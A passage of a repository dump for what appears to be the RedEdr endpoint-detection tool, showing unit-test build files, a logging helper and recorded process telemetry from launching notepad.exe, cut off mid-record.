/>\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <AdditionalIncludeDirectories>$(VCInstallDir)UnitTest\\include;$(SolutionDir)RedEdr\\;$(SolutionDir)RedEdrShared\\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <PreprocessorDefinitions>WIN32_LEAN_AND_MEAN;_UNITTEST;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <UseFullPaths>true</UseFullPaths>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <AdditionalLibraryDirectories>$(VCInstallDir)UnitTest\\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <AdditionalIncludeDirectories>$(VCInstallDir)UnitTest\\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <PreprocessorDefinitions>WIN32;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <UseFullPaths>true</UseFullPaths>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <AdditionalLibraryDirectories>$(VCInstallDir)UnitTest\\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <AdditionalIncludeDirectories>$(VCInstallDir)UnitTest\\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <PreprocessorDefinitions>WIN32;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <UseFullPaths>true</UseFullPaths>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <AdditionalLibraryDirectories>$(VCInstallDir)UnitTest\\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <AdditionalIncludeDirectories>$(VCInstallDir)UnitTest\\include;$(SolutionDir)RedEdr\\;$(SolutionDir)RedEdrShared\\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <PreprocessorDefinitions>NDEBUG;_UNITTEST;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <UseFullPaths>true</UseFullPaths>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <AdditionalLibraryDirectories>$(VCInstallDir)UnitTest\\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\config.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\event_aggregator.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\event_augmenter.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\event_processor.cpp\" />\n    <ClCompile Include=\"logging.cpp\" />\n    <ClCompile Include=\"UnitTestAnalyzer.cpp\" />\n    <ClCompile Include=\"UnitTestProcessInfo.cpp\" />\n    <ClCompile Include=\"UnitTestEventProducer.cpp\" />\n    <ClCompile Include=\"UnitTestRanges.cpp\" />\n    <ClCompile Include=\"UnitTests.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"logging.h\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "UnitTests/UnitTests.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Source Files\\existing\">\n      <UniqueIdentifier>{03f1f19c-5c1e-4bc4-b63e-ed758f03c953}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"UnitTests.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"UnitTestEventProducer.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"UnitTestProcessInfo.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"UnitTestAnalyzer.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\config.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"UnitTestRanges.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\event_aggregator.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\event_augmenter.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\event_processor.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"logging.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"logging.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "UnitTests/logging.cpp",
    "content": "#include <iostream>\n#include <windows.h>\n#include <dbghelp.h>\n#include <stdio.h>\n#include \"../Shared/common.h\"\n#include <windows.h>\n#include <tlhelp32.h>\n#include <tchar.h>\n#include <iostream>\n\n#include \"CppUnitTest.h\"\n\nvoid LOG_A(int verbosity, const char* format, ...)\n{\n    char message[DATA_BUFFER_SIZE] = \"[RedEdr PPL] \";\n    size_t offset = strlen(message);\n\n    va_list arg_ptr;\n    va_start(arg_ptr, format);\n    int ret = vsnprintf_s(&message[offset], DATA_BUFFER_SIZE - offset, DATA_BUFFER_SIZE - offset, format, arg_ptr);\n    va_end(arg_ptr);\n\n    Microsoft::VisualStudio::CppUnitTestFramework::Logger::WriteMessage(message);\n    Microsoft::VisualStudio::CppUnitTestFramework::Logger::WriteMessage(\"\\n\");\n\n}\n\n\nvoid LOG_W(int verbosity, const wchar_t* format, ...)\n{\n    WCHAR message[DATA_BUFFER_SIZE] = L\"[RedEdr PPL] \";\n    size_t offset = wcslen(message);\n\n    va_list arg_ptr;\n    va_start(arg_ptr, format);\n    int ret = vswprintf(&message[offset], DATA_BUFFER_SIZE - offset, format, arg_ptr);\n    va_end(arg_ptr);\n\n    Microsoft::VisualStudio::CppUnitTestFramework::Logger::WriteMessage(message);\n}\n"
  },
  {
    "path": "UnitTests/logging.h",
    "content": "#pragma once\n\n#include \"../Shared/common.h\"\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n"
  },
  {
    "path": "UnitTests/notepad.json",
    "content": "[{\"type\":\"kernel\",\"time\":\"133737987376815797\",\"callback\":\"create_process\",\"krn_pid\":\"5648\",\"pid\":\"1704\",\"name\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\notepad.exe\",\"ppid\":\"5648\",\"parent_name\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\"observe\":\"1\"},{\"type\":\"peb\",\"time\":\"133737987376972064\",\"id\":\"1704\",\"parent_pid\":\"5648\",\"image_path\":\"C:\\\\Windows\\\\system32\\\\notepad.exe\",\"commandline\":\"\\\\C:\\\\Windows\\\\system32\\\\notepad.exe\\\\ \",\"working_dir\":\"C:\\\\Users\\\\hacker\\\\\",\"is_debugged\":\"0\",\"is_protected_process\":\"0\",\"is_protected_process_light\":\"0\",\"image_base\":\"0x00007FF738840000\"},{\"type\":\"loaded_dll\",\"time\":\"133737987376972064\",\"pid\":\"1704\",\"dlls\":[{\"addr\":\"0x38840000\",\"size\":\"0x38000\",\"name\":\"notepad.exe\"},{\"addr\":\"0xdebf0000\",\"size\":\"0x1f8000\",\"name\":\"ntdll.dll\"},{\"addr\":\"0xdeae0000\",\"size\":\"0xc2000\",\"name\":\"KERNEL32.DLL\"},{\"addr\":\"0xdc330000\",\"size\":\"0x2fe000\",\"name\":\"KERNELBASE.dll\"},{\"addr\":\"0xdce60000\",\"size\":\"0x2b000\",\"name\":\"GDI32.dll\"},{\"addr\":\"0xdca90000\",\"size\":\"0x22000\",\"name\":\"win32u.dll\"},{\"addr\":\"0xdcac0000\",\"size\":\"0x117000\",\"name\":\"gdi32full.dll\"},{\"addr\":\"0xdc290000\",\"size\":\"0x9d000\",\"name\":\"msvcp_win.dll\"},{\"addr\":\"0xdc6c0000\",\"size\":\"0x100000\",\"name\":\"ucrtbase.dll\"},{\"addr\":\"0xdce90000\",\"size\":\"0x19d000\",\"name\":\"USER32.dll\"},{\"addr\":\"0xdd5d0000\",\"size\":\"0x353000\",\"name\":\"combase.dll\"},{\"addr\":\"0xdccc0000\",\"size\":\"0x123000\",\"name\":\"RPCRT4.dll\"},{\"addr\":\"0xdcc10000\",\"size\":\"0xad000\",\"name\":\"shcore.dll\"},{\"addr\":\"0xddaa0000\",\"size\":\"0x9e000\",\"name\":\"msvcrt.dll\"},{\"addr\":\"0xc6760000\",\"size\":\"0x29a000\",\"name\":\"C:\\\\Windows\\\\WinSxS\\\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.4355_none_60b8b9eb71f62e16\\\\COMCTL32.dll\"},{\"addr\":\"0xdd4b0000\",\"size\":\"0x2f000\",\"name\":\"IMM32.DLL\"},{\"addr\":\"0xc9ef0000\",\"size\":\"0x56000\",\"name\":\"C:\\\\RedEdr\\\\RedEdrDll.dll\"},{\"addr\":\"0xddeb0000\",\"size\":\"0xb2000\",\"name\":\"ADVAPI32.dll\"},{\"addr\":\"0xdea40000\",\"size\":\"0xa0000\",\"name\":\"sechost.dll\"},{\"addr\":\"0xdcbe0000\",\"size\":\"0x27000\",\"name\":\"bcrypt.dll\"},{\"addr\":\"0xa5db0000\",\"size\":\"0xe2000\",\"name\":\"MSVCP140D.dll\"},{\"addr\":\"0xde6e0000\",\"size\":\"0x12b000\",\"name\":\"ole32.dll\"},{\"addr\":\"0xce920000\",\"size\":\"0x1e4000\",\"name\":\"dbghelp.dll\"},{\"addr\":\"0xd3a90000\",\"size\":\"0x2b000\",\"name\":\"VCRUNTIME140D.dll\"},{\"addr\":\"0xd7470000\",\"size\":\"0xf000\",\"name\":\"VCRUNTIME140_1D.dll\"},{\"addr\":\"0x39eb0000\",\"size\":\"0x222000\",\"name\":\"ucrtbased.dll\"}]},{\"type\":\"dll\",\"func\":\"hooking_start\",\"pid\":\"1704\",\"tid\":\"2524\"},{\"type\":\"dll\",\"func\":\"hooking_finished\",\"pid\":\"1704\",\"tid\":\"2524\"},{\"type\":\"kernel\",\"time\":\"133737987376815797\",\"callback\":\"thread\",\"krn_pid\":\"5648\",\"pid\":\"1704\",\"threadid\":\"2524\",\"create\":\"1\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\notepad.exe\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ntdll.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\kernel32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\KernelBase.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\win32u.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32full.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp_win.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbase.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"thread\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"threadid\":\"14644\",\"create\":\"1\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\user32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\combase.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\rpcrt4.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\SHCore.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcrt.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\WinSxS\\\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.4355_none_60b8b9eb71f\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\imm32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"thread\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"threadid\":\"11544\",\"create\":\"1\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\RedEdr\\\\RedEdrDll.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\advapi32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\sechost.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcrypt.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp140d.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ole32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\dbghelp.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140d.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140_1d.dll\"},{\"type\":\"kernel\",\"time\":\"133737987376972064\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbased.dll\"},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcryptprimitives.dll\"},{\"type\":\"dll\",\"time\":\"133737987377284560\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07B3C8\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC4419C\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC220F9\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00446\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBCE93892A\",\"page_addr\":\"00007FFBCE938000\",\"size\":\"1306624\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\kernel.appcore.dll\"},{\"type\":\"dll\",\"time\":\"133737987378534600\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07B3C8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC441ED\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC220F9\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00446\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBCE93892A\",\"page_addr\":\"00007FFBCE938000\",\"size\":\"1306624\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987377284560\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"400\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFEE4\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987378534600\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFB5\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987378534600\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\